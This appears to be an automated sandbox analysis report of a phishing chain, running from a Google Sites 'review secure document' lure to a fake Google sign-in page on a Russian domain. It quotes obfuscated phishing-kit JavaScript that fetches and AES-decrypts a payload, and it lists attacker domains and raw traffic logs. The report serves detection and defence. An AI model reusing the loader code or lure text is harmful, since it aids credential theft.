Edit tour

Windows Analysis Report
https://sites.google.com/kula.ai/rdps/home

Overview

General Information

Sample URL:	https://sites.google.com/kula.ai/rdps/home
Analysis ID:	1577712
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish20

Yara detected HtmlPhish62

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Phishing site or detected (based on various text indicators)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 5552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 1844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1936,i,13823608770276383555,3430594019773042289,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2156 /prefetch:11 MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 3272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sites.google.com/kula.ai/rdps/home" MD5: 290DF23002E9B52249B5549F0C668A86)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.2.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
4.8.pages.csv	JoeSecurity_HtmlPhish_62	Yara detected HtmlPhish_62	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is well-known and typically associated with the domain 'google.com'., The URL 'qsc.vomlogsffy.ru' does not match the legitimate domain for Google., The domain 'vomlogsffy.ru' is unrelated to Google and appears suspicious., The use of a Russian domain extension '.ru' is unusual for Google, which typically uses '.com'., The presence of input fields for 'Email or phone' is common in phishing attempts targeting Google accounts. DOM: 4.8.pages.csv

Yara detected HtmlPhish20

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected HtmlPhish62

Source: Yara match

File source: 4.8.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://sites.google.com/kula.ai/rdps/home	Joe Sandbox AI: Page contains button: 'REVIEW SECURE DOCUMENT' Source: '1.0.pages.csv'
Source: https://sites.google.com/kula.ai/rdps/home	Joe Sandbox AI: Page contains button: 'REVIEW SECURE DOCUMENT' Source: '1.3.pages.csv'
Source: https://qsc.vomlogsffy.ru/z9yaFIg/	Joe Sandbox AI: Page contains button: 'Click to verify' Source: '3.6.pages.csv'

AI detected suspicious Javascript

Source: 0.21.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qsc.vomlogsffy.ru/z9yaFIg/... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The script also uses a setInterval loop with a debugger statement, which could be an attempt to detect and prevent analysis. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk.
Source: 0.22.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qsc.vomlogsffy.ru/z9yaFIg/... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
Source: 0.25.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qsc.vomlogsffy.ru/z9yaFIg/... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The script also uses a setInterval loop with a debugger statement, which could be an attempt to detect and bypass security measures. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk.
Source: 0.32.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBP... This script exhibits several high-risk behaviors, including disabling developer tools, preventing right-click context menus, and attempting to redirect the user to an external website. Additionally, it includes a debugger trap that could potentially be used for malicious purposes. These behaviors, combined with the overall suspicious nature of the script, indicate a high risk of malicious intent.
Source: 0.27.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBP... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.0	OCR Text: New Document Received You've received (2) new PDF Documents for your review Please sign & return REVIEW SECURE DOCUMENT
Source: Chrome DOM: 1.3	OCR Text: New Document Received Youive received (2) new PDF Documents for your review Please sign & return REVIEW SECURE DOCUMENT

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: Number of links: 0

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: Title: eTVNsvZEKt does not match URL

Source: https://qsc.vomlogsffy.ru/z9yaFIg/

HTTP Parser: var uetjgoisao = "u";var clwbtrxaqz = "q";var wavxpzlwmy = window.location.hash.substr(1);if (wavxpzlwmy) {wavxpzlwmy = wavxpzlwmy.split('#').pop();}if (!wavxpzlwmy) { const urlparams = new urlsearchparams(window.location.search); if (window.location.href.includes('%23')) { wavxpzlwmy = window.location.href.split('%23').pop(); } if (window.location.href.includes('?')) { wavxpzlwmy = window.location.href.split('?').pop(); uetjgoisao = ""; clwbtrxaqz = ""; }}function zxrrweromm(kycubxzctm) {pterlijrff = kycubxzctm.replace(/#/g, '').replace(/\?/g, '');$.ajax({type: "post",url: "/lm4iu54ckbdlgpo8sgl2heorkoayfs9wgjmvqb3suw4rq3hzew",data: {data: pterlijrff},success: function(data) {var {a,b,c,d} = json.parse(data);xdltpxsazo = cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8);...

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: <input type="password" .../> found

Source: https://qsc.vomlogsffy.ru/z9yaFIg/	HTTP Parser: No favicon
Source: https://qsc.vomlogsffy.ru/z9yaFIg/	HTTP Parser: No favicon
Source: https://qsc.vomlogsffy.ru/z9yaFIg/	HTTP Parser: No favicon
Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku	HTTP Parser: No favicon

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: No <meta name="author".. found

Source: https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.24:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.24:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.24:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.24:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.24:49898 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10

Source: global traffic	HTTP traffic detected: GET /api/tips-content/de-ch/xml/tips?release=cobalt&environment=dashboard&resolutionType=merge HTTP/1.1Host: cxcs.microsoft.netConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Microsoft Edge";v="100", "Microsoft Edge WebView2";v="100"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://windows.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://windows.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "93eaa60326dc4c17c3c6a4c2dbeb6569"
Source: global traffic	HTTP traffic detected: GET /REST/v1/Imagery/Map/RoadVibrant/40.7402,-73.9728/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AuK9Wj9_fIFeSA2BncPNlMXKaYsr9N1FuExVVA5dMSpJYQ8_Ga2AaeMqEE2MT2j6&c=de-ch&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=40.740213,-73.972776;cgt HTTP/1.1Host: ecn.dev.virtualearth.netConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Microsoft Edge";v="100", "Microsoft Edge WebView2";v="100"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://windows.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/client.js?onload=gapiLoaded HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
Source: global traffic	HTTP traffic detected: GET /js/client.js?onload=gapiLoaded HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCPzQzgEInNLOAQiO084BCNbUzgEY9MnNAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.lb.en.eXGUr_3hPjA.O/m=client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo-g8reFxkIuQ1pTpW4rHM0-Devz-A/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.lb.en.eXGUr_3hPjA.O/m=client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo-g8reFxkIuQ1pTpW4rHM0-Devz-A/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCPzQzgEInNLOAQiO084BCNbUzgEY9MnNAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
Source: global traffic	HTTP traffic detected: GET /url?q=https%3A%2F%2Fqsc.vomlogsffy.ru%2Fz9yaFIg%2F&sa=D&sntz=1&usg=AOvVaw0qTysX0k8kMDawtAOx2OGv HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "131.0.6778.109"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "15.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="131.0.6778.109", "Chromium";v="131.0.6778.109", "Not_A Brand";v="24.0.0.0"sec-ch-ua-form-factors: "Desktop"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2024X-Browser-Validation: QFEz3B6Z4AT6PlLzuts1mBxQGCM=X-Browser-Copyright: Copyright 2024 Google LLC. All rights reserved.X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qsc.vomlogsffy.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /creativeservice/2d863f0f-0fd5-72db-6971-f905df03ef53_3255140379518978990_128000000004796009_assets__image_1709055739600.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22631Host: res.public.onecdn.static.microsoftConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png HTTP/1.1Accept: /Accept-Language: en-CH,en-US;q=0.7,en;q=0.3UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: assets.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qsc.vomlogsffy.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=KRjfIPFk097oAw5jSSL6YRlZd335RhTrcTqpE0dTfjo-1734538662-1.0.1.1-pW6qJqt6dRvDKiCxXrHX2B33dhF.Sta3kZVYrmsLzgjNKJ_Hth5N_lyGZoNLIfVTwdA8aqITZiz9uKPOrYm87w
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qsc.vomlogsffy.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/list.js/2.3.1/list.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qsc.vomlogsffy.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/list.js/2.3.1/list.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: max-age = 3600Connection: Keep-AliveAccept: /If-Modified-Since: Mon, 12 Feb 2024 22:07:27 GMTIf-None-Match: "65ca969f-2cd"User-Agent: Microsoft-CryptoAPI/10.0Host: x1.c.lencr.org

Source: chromecache_323.1.dr, chromecache_523.1.dr

String found in binary or memory: inline:{css:1},disableRealtimeCallback:!1,drive_share:{skipInitCommand:!0},csi:{rate:.01},client:{cors:!1},signInDeprecation:{rate:0},include_granted_scopes:!0,llang:"en",iframes:{youtube:{params:{location:["search","hash"]},url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1",methods:["scroll","openwindow"]},ytsubscribe:{url:"https://www.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"}, equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: qsc.vomlogsffy.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdn.prod.website-files.com
Source: global traffic	DNS traffic detected: DNS query: 2ywj9czwlewyobuuezrzvmti4qf3jrhn3w6oygx94q6t6tmdxxjpe9y.ijmzazonz.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: flagpedia.net

Source: unknown

